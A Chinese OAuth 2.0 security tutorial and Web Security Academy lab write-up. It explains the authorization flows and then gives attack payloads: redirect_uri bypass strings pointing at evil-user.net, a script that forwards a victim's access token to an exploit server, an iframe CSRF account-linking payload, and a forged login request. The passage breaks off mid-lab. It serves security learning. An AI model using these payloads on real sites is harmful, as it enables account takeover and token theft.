搞懂玩爆OAuth 2.0—OAuth2.0身份验证漏洞

搞懂玩爆OAuth 2.0—OAuth2.0身份验证漏洞

一、基础知识

1. 什么是OAuth2.0

请添加图片描述

OAuth2.0 是一个被广泛使用的授权框架。能满足网站和WEB程序对另一个应用程序上用户账户数据的有限访问。允许用户在不公开登陆账号密码等凭据的情况下,授权第三方访问权限,实现不同应用间的账户认证。 基本的用途如下:

  • 访问第三方程序的部分功能
  • 提供第三方身份认证服务,允许在已授权的不同网站上快速登陆,而不必每次输入账号密码等信息。

OAuth2与OAuth有很大不同,本文聚焦在OAuth2。

2. OAuth 2.0原理概述

总体来说,OAuth定义了三方交互模式:客户端应用、资源所有者、OAuth服务提供者

  • 客户端应用-需要访问用户数据的网站或WEB应用
  • 资源所有者-被访问数据的所有者(用户)
  • OAuth服务提供者-提供支持OAuth认证的API程序,用于支撑内部认证服务器和资源服务器的调用。

以上三者交互授权的实现方式流程有很多。目前比较常用的方式有授权码授权隐式授权。两者流程雷同,主要流程如下(不同类型的信息内容详见下一小节):

  1. 客户端应用发起对某类用户数据的访问和使用的授权请求(Authorization request)。
  2. 资源所有者登陆OAuth服务,并针对此申请给出唯一的同意授权码(Authorization code)。
  3. 客户端应用以特定的方式收到此授权码,使用授权码与Auth服务提供者交互,以通过验证获取访问令牌(access token)。(隐式授权没有此项,直接在点2就获得了access token)
  4. 客户端应用使用此令牌,发起API调用请求(API call),从资源服务器获取对应数据。

3. OAuth授权类型

不同的授权类型对应不同的OAuth流程和具体步骤,因此授权类型也称为“OAuth认证流”。本文主要介绍授权码授权隐式授权两种方式

1. 数据请求范围(OAuth scope)

OAuth可定制不同的scope参数作为标记,对每种标记明确了客户应用想访问的数据和希望执行的操作。这个参数的值只是一个任意的文本字符串,由OAuth服务提供者制定规则,客户端在初始化时也需要相应调整。举例如下,如调用邮件联系人列表:

scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly

2. 授权码授权

请添加图片描述

请注意图中,前3个步骤为实线,表示通过浏览器方式传递数据,从第4步授权码换取访问令牌交换开始就为虚线,表示通过专用安全通道后台传递数据,终端用户不可见。 在通道内,客户端应用必须通过参数client_secret来证明自己身份。

  1. 授权请求(Authorization request)

客户端应用首先向OAuth服务的端点发送访问具体数据的请求,端点映射由OAuth定制。

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
  • client_id-客户端应用唯一识别码,强制性参数。客户端应用在OAuth服务上注册时就已生成。
  • redirect_uri-客户端应用回调地址(回调端点),授权码发送给客户端应用的接收地址。很多攻击都是利用这个参数的各种缺陷展开的。
  • response_type-授权类型,授权码类型,值为code
  • scope-客户端应用请求的指定用户数据集,值可以为OAuth服务定制化的,也可以是标准化的作用域,如openId(后面介绍)
  • state-唯一、不可猜测、并与发起OAuth流程的应用会话绑定,与授权码一同返回给客户端应用端点,用以确认收到授权码的与发起OAuth流程的为同一客户端应用。作用与CSRF令牌类似。
  1. 资源所有者登陆并确认同意

OAuth服务器收到客户端应用初始请求,将会直接跳转至OAuth服务提供的用户登陆页。
用户可查看到需要你确认的客户端应用请求访问的信息列表和使用方式。
一旦首次通过后,只要在会话有效期内,后续可实现单点登陆。

  1. 授权码的发送(authorization code)

资源所有者一旦确认,浏览器就会跳转至/callback端点(原参数redirect_uri的值)
OAuth发送至客户端应用的GET请求,将包含code(授权码)和可设定同步发送的参数state

GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
  1. 请求交换访问令牌

客户端应用一旦收到授权码,就将向OAuth服务器/token端点发送POST请求,申请交换访问令牌。从这个流程开始,将在后台专用安全通道进行交互,因此从这个环节开始不太会被攻击者利用。

POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
  • client_secret-客户端应用在OAuth服务提供方注册时分配的密钥。
  • grant_type-让OAuth服务器知悉,客户端应申请以何种授权方式进行使用。授权码authorization_code
  1. 交换访问令牌(Access token)

OAuth提供者验证请求无误后,将向客户端应用响应对应请求范围的访问令牌。

{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid profile",
    …
}
  1. API调用(API call)

客户端应用使用接收到的访问令牌,通过API调用OAuth服务端点/userinfo(往往是资源服务器)。注意数据包header是Authorization: Bearer XXX

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
  1. 数据资源提供

资源服务器验证是否有效的访问令牌 令牌是否属于这个应用 令牌允许的数据范围,无误后返回数据。

{
    "username":"carlos",
    "email":"[email protected]",
    …
}

最终客户端应用获取到所需数据来使用。
在最后OAuth用于身份验证的情况下,通常用ID来授予经过身份验证会话的用户,从而让用户登录。
以上就是验证码授权类型,也是OAuth中最安全的方式

3. 隐式授权类型

请添加图片描述

注意,全是实线哈,意味着全部通过浏览器传递交互信息

  1. 授权请求(Authorization request)

与授权码类型一致,仅response_type 值为token

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
  1. 资源所有者登陆并确认同意

一致

  1. 访问令牌授权

OAuth服务器获得用户同意,并验证授权请求通过后,通过浏览器以URL参数形式将access_token,客户端应用需要用脚本获取参数。

GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
  1. API call

数据包与授权码方式雷同,唯一区别是,通过浏览器进行交互

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
  1. 数据资源提供

与授权码方式雷同,唯一区别是,通过浏览器进行交互

最终客户端应用获取到所需数据来使用。
在最后OAuth用于身份验证的情况下,通常用ID来授予经过身份验证会话的用户,从而让用户登录。
以上就是隐式授权类型,因没有授权码和专用安全通道后台传递数据,相对来说安全性降低,但更便捷。

4. OAuth 身份认证

授权服务的一种变种,可采用授权码或隐式的任意一种,流程几乎没有变化,以scope=openid为标志,详见后文介绍。

如果登陆客户端应用使用的不是在此应用注册的账户,而是你某个社交娱乐账号直接登陆,则使用的是 OAuth 身份验证。流程大提如下:

  1. 用户选择以社交账户方式登陆应用。客户端应用向该社交系统的OAuth服务发起获取指定数据的请求。例如:请求用户注册的邮箱地址。
  2. OAuth验证通过后,发送回访问令牌(access token)。客户端应用利用令牌向资源服务器请求数据,一般端点为/userinfo。资源服务器验证后,返回数据。
  3. 客户端收到数据后,往往将数据(例如邮件地址)作为账号名,之前收到的访问令牌(access token)作为密码,实现登陆

例题 1

4. OAuth漏洞产生的原因

OAuth规范在设计上相对模糊而且灵活。同时大量组件的选项都是可选的,安全性较低。
同时本身缺乏内置的安全功能,导致安全性完全依赖开发人员的正确使用和配置组合,并需增加额外有针对性的安全措施。否则很容易出现安全缺陷。
根据授权类型的不同,可能会通过浏览器传送敏感数据,面临着被非法截获的风险。

5. 识别OAuth身份验证组件

  • 往往应用能使用第三方账号登陆的方式,标志着使用OAuth
  • 登陆时查看数据包,URL参数存在client_id redirect_uri response_type
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
  • 信息收集OAuth服务提供的API信息,知道OAuth主机名后,可以对常用路径发起发文查看。

/.well-known/oauth-authorization-server
/.well-known/openid-configuration

通常会返回一个JSON配置文件,其中包含关键信息,例如可能支持的其他功能的详细信息。

{
    
    "authorization_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/session/end","grant_types_supported":["authorization_code","implicit","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net","jwks_uri":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/jwks","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code","id_token","token","id_token token"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}

二、漏洞利用

常被利用的漏洞主要在两方面,一是在客户端应用上OAuth的具体实现有缺陷可利用;二是在OAuth服务本身配置中有缺陷已被利用。

1. 隐式授权的实现缺陷

系统流程没有验证access token与账户信息是否一致有无恶意更换,则客户端应用默认收到的认证信息为正确的,随后完成自登陆。

详见上述例题1

2. CSRF保护缺陷

state参数在OAuth中的作用就是防止CSRF攻击,若未启用,则可尝试以此种方式进行攻击,通过将关键的url参数替换为攻击者的值,例如<ifram src="https://OAuth_url/?code=attacker value">的方式,发送并引诱目标用户点击,因无state验证,未验证发起请求方是否与该code拥有者一致,最终将受害用户的帐户绑定到攻击者自己的社交媒体帐户上。

例题2

3. 授权码和访问令牌泄露

最著名的漏洞就是OAuth服务本身配置问题,导致攻击者可以窃取用户的授权码和访问令牌。

请注意此处是要窃取授权码和访问令牌后在拼接到连接中,由攻击者发送连接获取身份认证通过。和上面的CSRF引诱受害用户点击有本质不同哦。

OAuth服务若不能有效验证redirect_uri参数,则攻击者可构造该参数为攻击者地址,获取受害者的授权码。

当获取了上述信息,只要授权码未使用还有效。攻击者通过自己的浏览器发起申请访问令牌,进而完成后续身份认证流程,登陆受害用户账号。

这种攻击因不是CSRF攻击,参数statenonce不会起到防护作用。

安全的做法是在授权码交换访问令牌时,在链接中也要发送redirect_uri,OAuth服务器将最初始请求中的redirect_uri与刚收到的进行比对,验证是否相同。**因为第二次传输时已经使用安全专用通道,攻击者很难更改。**导致验证不通过。

例题3

4. redirect_uri 验证缺陷

最佳实践是流程中增加redirec_uri白名单验证,这样被恶意更换的返回地址,将被报错。
但是使用如下方法仍有可能绕过白名单验证:

  • 尝试删除或添加url中路径、查询字符串或片段,看是否能够不触发报错
  • 增加额外字符,混淆绕过,举例如下

redirect_uri=https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/

  • 多重redirect_uri参数

redirect_uri=https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net

  • 有时对本地主机URI给予特殊处理,因为它们经常在开发期间使用。生产环境中可能会意外地允许以本地主机开头的任何重定向URI。通过注册一个域名来绕过验证,比如localhost.evil-user.net。

5. 通过代理页面窃取授权码或访问令牌

上述各种办法若都不起作用的话,可以尝试redirect_uri路径穿越或截断
redirect_uri=https://client-app.com/oauth/callback/../../example/path
redirect_uri=https://client-app.com/example/path
攻击思路

  • 客户端应用某页面存在访问重定向漏洞
  • OAuth的请求参数redirect_uri可以路径穿越或截断

redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1

  • 重新构造请求1,将redirect_uri路径,路径穿越至存在重定向漏洞的页面,且参数为攻击机url

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

  • 在攻击机上构造恶意连接,引诱目标用户点击,发起请求,完成攻击
<script>
    if (!document.location.hash) {
      
      
        window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
      
      
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

例题4

除了上述所属,还可以利用其他途径窃取token

  • 危险js脚本处理
  • XSS漏洞
  • HTML模板注入

例题5

6. 有缺陷的数据范围(scope)验证

范围升级:授权码授权
假设攻击者的恶意客户端应用最初使用OpenID电子邮件作用域请求访问用户的电子邮件地址。在用户批准请求后,恶意客户端应用程序会收到授权码。当攻击者控制其客户端应用程序时,可以向包含附加配置文件范围的代码/令牌交换请求添加另一个范围参数:

POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile

如果OAuth服务没有验证作用域是否与初始请求一致,则会根据攻击者新申请的scope返回access_token

{
    
    
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid email profile",}

范围升级:隐式授权类型
用户利用前文的各种攻击手段,直接获取了access_token,直接在scope添加新的数据范围,OAuth服务应该根据生成令牌时值来验证此作用域值,但实际是只要调整后的权限不超过以前授予此客户端应用程序的访问级别,攻击者就有可能访问其他数据,而无需用户的进一步批准。
未验证注册:用户身份验证授权
客户端应用程序通常默认从OAuth服务拿到的用户账户信息是可信任而未加验证。
可尝试直接在OAuth服务注册新的账户信息,但是内容填写的是目前用户的内容,由于OAuth对内容验证不够全面,导致攻击者可以使用新注册账户通过OAuth服务登录客户端应用。由于此账户信息与目标用户的账户信息基本一致,客户端默认为目标用户登录,导致攻击者直接登录上了目标账户。

7. 使用OpenID Connect扩展OAuth的身份认证

  1. OpenID Connect产生的原因

OAuth最初设计场景,只用于授权,即为客户端应用授权对应资源的访问。随后大量应用使用授权服务,实现对用户账户资源的访问,通过获取用户账户凭证,来作为客户端应用的身份验证。
这种原始的方式,需要针对不同OAuth提供者,实施定制化的配置,来实现所谓的“身份验证”。因此,OpenID Connect应运而出,作为OAuth协议的扩展,建立基于OAuth实现之上的专用身份和身份验证层,提供相对标准易用的身份验证功能。

  1. OpenID Connect原理

整体来说,使用时仅有两点变化

  • scope: openid xxx
    • profile
    • email
    • address
    • phone
  • response_type: id_token
    • 返回使用JSON Web 签名(JWS)的JSON Web token(JWT)
    • 无需获取访问令牌,单独请求用户数据,在用户对自己进行身份验证后,立即将包含数据的ID令牌发回响应。
    • 传输的数据的完整性基于JWT加密签名。用于签名验证的密钥是通过OAuth相同的网络通道(通常在/.well-now/jwks.json上公开)传输的
    • response_type 可设置多值

response_type=id_token token
response_type=id_token code

  1. OAuth服务动态注册漏洞

一般查看公开路径能获取到OAuth用户注册路径

标准注册数据包

POST /openid/register HTTP/1.1 (根据配置设定,调整地址)
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}

如Oauth服务没有验证Authorization,则攻击者可以自行构造注册数据包完成注册。同时数据包中大量uri(redirect_uris\logo_uri\jwks_uri等),可尝试SSRF或任意跳转传递导致的信息泄露的可能

例题6

三、漏洞实例

1. 通过OAuth隐式流绕过身份验证(Authentication bypass via OAuth implicit flow

  • 目标

在没有目标用户密码的情况下,登陆carlos账户
网站允许使用社交媒体账户登陆,测试账号wiener:peter 目标账户邮箱[email protected]

  • 解题详情

抓包分析隐式授权身份验证流程

交互1:点击账户,显示社交媒体账号登陆

GET /social-login HTTP/1.1
Host: aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Cookie: session=EqvfiG2Ch3BSyI3m8HbvdAVTBoDv2lAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: 


响应包中,出现OAuth请求路径

<meta http-equiv=refresh content='3;url=https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/auth?client_id=fvssuu3sg44ljzyn6r0ep&redirect_uri=https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/oauth-callback&response_type=token&nonce=-487256685&scope=openid%20profile%20email'>
<p>We are now redirecting you to login with social media...</p>
根据路径参数,可知道response_type为`token`隐式授权类型。综上应为使用OAuth的身份验证能力。
交互2:客户端向该url发起身份验证请求
GET /auth?client_id=fvssuu3sg44ljzyn6r0ep&redirect_uri=https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/oauth-callback&response_type=token&nonce=-487256685&scope=openid%20profile%20email HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net

响应中包含内部交互的路径,并set-cookie

HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; path=/interaction/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:32:37 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD; path=/auth/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:32:37 GMT; samesite=lax; secure; httponly
Location: /interaction/2gEEwfwhCnj8cOwJ0DhAD
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 00:22:37 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/2gEEwfwhCnj8cOwJ0DhAD">/interaction/2gEEwfwhCnj8cOwJ0DhAD</a>.

交互3 提供账户密码后并包含获得的cookie后,向内部交互路径发起POST请求

POST /interaction/2gEEwfwhCnj8cOwJ0DhAD/login HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD

username=wiener&password=peter
验证通过后,响应包中包含新的认证url
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/auth/2gEEwfwhCnj8cOwJ0DhAD
Date: Wed, 25 May 2022 00:23:50 GMT
Connection: close
Content-Length: 0
交互4:向该URL发起GET请求,获取用户授权确认页
GET /auth/2gEEwfwhCnj8cOwJ0DhAD HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD
响应并没有直接返回页面,而是新增设置了一个cookie,和新的内部交互路径。
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; path=/interaction/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:33:51 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD; path=/auth/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:33:51 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=Ah7U6Zc6D4aC2zCQHjjOu; path=/; expires=Wed, 08 Jun 2022 00:23:51 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu; path=/; expires=Wed, 08 Jun 2022 00:23:51 GMT; secure; httponly
Location: /interaction/2gEEwfwhCnj8cOwJ0DhAD
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 00:23:51 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/2gEEwfwhCnj8cOwJ0DhAD">/interaction/2gEEwfwhCnj8cOwJ0DhAD</a>
交互5:同时携带新、旧两个cookie向新URL发起GET请求
GET /interaction/2gEEwfwhCnj8cOwJ0DhAD HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; _session=Ah7U6Zc6D4aC2zCQHjjOu; _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu
总算响应用户授权确认页了,要的是profile和Email
<strong>WeLikeToBlog</strong> is requesting access to:</li>
<ul>

<li>Profile</li>

<li>Email</li>

交互6:用户主动点击确认。

POST /interaction/2gEEwfwhCnj8cOwJ0DhAD/confirm HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; _session=Ah7U6Zc6D4aC2zCQHjjOu; _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu

响应下一步请求的URL

HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/auth/2gEEwfwhCnj8cOwJ0DhAD

交互7:继续向之前请求过的页面发起GET请求,只是本次携带新旧两个cookie

GET /auth/2gEEwfwhCnj8cOwJ0DhAD HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD; _session=Ah7U6Zc6D4aC2zCQHjjOu; _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu
本次响应就给力多了,提供的下一步访问URL中包含了全部OAuth的参数,尤其是出现了梦寐以求的`access_token`

交互8:这回终于OAuth主动一回,主动向客户端应用发起GET请求

GET /oauth-callback HTTP/1.1
Host: aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Cookie: session=EqvfiG2Ch3BSyI3m8HbvdAVTBoDv2lAt

看到响应包,总算明白了,是主动向客户端应用要解析参数的js代码,双方根据ajax方式,后续返回给客户端数据。约定:

  • 客户端主动发起的ajax请求,OAuth返回数据。
  • OAuth向客户端应用发送OAuth身份认证数据,用于客户端完成用户自登陆
  • 跳转至首页
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 734

<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get('access_token');
fetch('https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/me', {    (客户端主动发起的ajax请求)
    method: 'GET',
    headers: {
        'Authorization': 'Bearer ' + token,
        'Content-Type': 'application/json'
    }
})
.then(r => r.json())
.then(j => 
    fetch('/authenticate', {(OAuth向客户端应用返回的数据内容和格式)
        method: 'POST',
        headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            email: j.email,
            username: j.sub,
            token: token
        })
    }).then(r => document.location = '/'))    (跳转至首页)
</script>

交互9 客户端主动发起的ajax请求,OAuth返回数据。

GET /me HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/
Authorization: Bearer yErTtKxjHZi8pEh0-Gm9QKyO2RJcZuGGqyetLKS3wGX
Content-Type: application/json
Origin: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

响应数据

HTTP/1.1 200 OK
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Origin: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Access-Control-Expose-Headers: WWW-Authenticate
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Wed, 25 May 2022 00:26:29 GMT
Connection: close
Content-Length: 88

{"sub":"wiener","name":"Peter Wiener","email":"[email protected]","email_verified":true}

交互10 最后一步,OAuth向客户端应用发送OAuth身份认证数据,用于客户端完成用户自登陆

POST /authenticate HTTP/1.1
Host: aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Cookie: session=EqvfiG2Ch3BSyI3m8HbvdAVTBoDv2lAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/oauth-callback
Content-Type: application/json
Origin: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Content-Length: 103
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"email":"[email protected]","username":"wiener","token":"yErTtKxjHZi8pEh0-Gm9QKyO2RJcZuGGqyetLKS3wGX"}

最后客户端应用跳转至首页(此时用户已经登陆了哦~)

以上就是数据包的完整分析,搞清楚流程后,我们就要来简单利用这里面的漏洞了

  1. 本题测试非常简单,根据上面的流程,选择最后一步交互10,将email和username替换为目标用的信息,若系统流程没有验证,则客户端应用会以为收到的认证信息为carlos的随后完成自登陆。
POST /authenticate HTTP/1.1
Host: ac6a1fce1edb9238c08751db007a00bf.web-security-academy.net
Cookie: session=h8MMYmtjjanwfWANDP1wjYBUNVBbb1M3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac6a1fce1edb9238c08751db007a00bf.web-security-academy.net/oauth-callback
Content-Type: application/json
Origin: https://ac6a1fce1edb9238c08751db007a00bf.web-security-academy.net
Content-Length: 111
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"email":"[email protected]","username":"carlos","token":"rwCpJDSVYKbWNyaarAOUUrWFeEsLsGivV6zg25qik6m"

成功登陆

2. 强制OAuth配置文件链接 (Forced OAuth profile linking

  • 目标

使用攻击者的社交媒体账号登陆客户端应用中admin的账户,并利用期权限删除carlos账户。
攻击者可使用的账户:
客户端应用账户 wiener:peter
社交媒体账户:peter.wiener:hotdog

  • 解题详情
    1. 抓包熟悉登陆流程后,发现没有参数state,可尝试CSRF攻击。浏览数据包发现突破到点GET /oauth-linking?code=[...]
    2. 已攻击者应用账户登陆,点击绑定社交媒体账户,拦截此数据包,存储code,并丢弃该包,保证code新鲜未被使用。
GET /oauth-linking?code=24uFvh01DqV6Sog-ZSiYAaPznbaDYE9QaJ2O66vJeXT HTTP/1.1
Host: ac001f981f3bc17fc0d623e8006b0093.web-security-academy.net
Cookie: session=ASfvnXuHTLWHIXPTaRYWKyrSUsAXULLB
  1. 构造攻击荷载,发送给目标用户(admin)。只要点击,就会自动完成社交媒体账户绑定。相当于目标admin账户绑定的是攻击者的社交媒体账户。
<iframe src="https://ac001f981f3bc17fc0d623e8006b0093.web-security-academy.net/oauth-linking?code=24uFvh01DqV6Sog-ZSiYAaPznbaDYE9QaJ2O66vJeXT "></iframe>
  1. 客户端应用退出登陆,直接使用攻击者社交媒体账号登陆,会发现实际登陆上的是admin账户,使用admin管理权限删除carlos账号即可。

3. 通过redirect_uri劫持OAuth帐户(OAuth account hijacking via redirect_uri

  • 目标

攻击者窃取用户admin的授权码,并借此登陆账户,使用管理员权限删除carlos账户
攻击者可使用的客户端应用账户 wiener:peter

  • 解题详情

抓包分析授权码授权方式流程

交互1:点击登录,客户端应用首先向OAuth服务器发送请求。

GET /auth?client_id=up6pjbyzpz48izvajspcc&redirect_uri=https://ac161f371efa484fc0cd6f6500bf009a.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-ac1a1fb71eb448fcc0806fcf028800aa.web-security-academy.net
响应包提供资源所有者登录OAuth账户的url
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
